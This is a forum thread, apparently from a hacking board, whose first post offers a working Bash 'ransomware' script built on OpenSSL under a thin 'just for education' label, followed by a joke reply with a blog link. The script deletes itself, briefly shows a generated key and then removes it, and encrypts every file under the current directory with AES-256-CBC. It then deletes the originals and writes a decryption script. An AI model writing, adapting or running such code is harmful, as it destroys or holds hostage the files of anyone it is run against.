[Share] Create Your Own Ransomware with OpenSSL (BASH)
#1
Just For Education and make you smile, not Cry.
Simple Bash Scripting for encrypt file with Open SSL


Code:
#!/bin/sh
rm -f $0
if [ ! -d /tmp/L0CK3R-74H4T ]; then
 mkdir /tmp/L0CK3R-74H4T
fi
openssl genpkey -out /tmp/L0CK3R-74H4T/m2.p -algorithm rsa -pkeyopt rsa_keygen_bits:4096
openssl pkey -in /tmp/L0CK3R-74H4T/m2.p -out /tmp/L0CK3R-74H4T/m5.p -pubout
dk=$(openssl rand -hex 16)
echo $dk | openssl pkeyutl -encrypt -pubin -inkey /tmp/L0CK3R-74H4T/m5.p -out /tmp/L0CK3R-74H4T/dke.d
openssl pkeyutl -decrypt -inkey /tmp/L0CK3R-74H4T/m2.p -in /tmp/L0CK3R-74H4T/dke.d -out /tmp/L0CK3R-74H4T/dk.dat
echo "[+] Your key is = $(cat /tmp/L0CK3R-74H4T/dk.dat)"
echo "[+] Your key is = $(cat /tmp/L0CK3R-74H4T/dk.dat)" > /tmp/L0CK3R-74H4T/key.txt
sleep 1m
rm -rf /tmp/L0CK3R-74H4T
for fn in `find * -type f`; do
  if [ ! -f $fn ]; then
    continue
  fi
  openssl sha256 -r $fn > $fn.L0ck3r74h4t
  iv=$(openssl rand -hex 16)
  echo $iv > $fn.L0CK3R74H4T
  openssl enc -aes-256-cbc -K $dk -iv $iv -in $fn -out $fn.l0ck3r74h4T
  rm $fn
  echo "[+] $fn Success"
  echo "[+] $fn Success" >> log.txt
done
cat <<'EOF' > decrypt.sh
#!/bin/sh
if [ ! $1 ];then
echo "Usage : bash $0 key"
echo "Example : bash $0 78c7707c904c44c77007c7cc07c700cc"
exit
fi
for fe in `find * -type f -iregex '.+\.l0ck3r74h4T'`; do
  fn=$(echo $fe | sed -e 's/\.l0ck3r74h4T$//')
  iv=$(cat $fn.L0CK3R74H4T)
  openssl enc -aes-256-cbc -d -K $1 -iv $iv -in $fn.l0ck3r74h4T -out $fn
  if openssl sha256 -r $fn | diff -q - $fn.L0ck3r74h4t; then
    rm $fn.L0ck3r74h4t $fn.L0CK3R74H4T $fn.l0ck3r74h4T
  else
    echo "$fn: digest mismatch" >&2
  fi
done
EOF
echo "[+] decrypt.sh created...."
Don't cry, because u can make your own!


Smile and Agree, Then Do Whatever The Fvck You Were Gonna Do



#2
ntap jiwa
nice share beb :*
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix






Users browsing this thread: 1 Guest(s)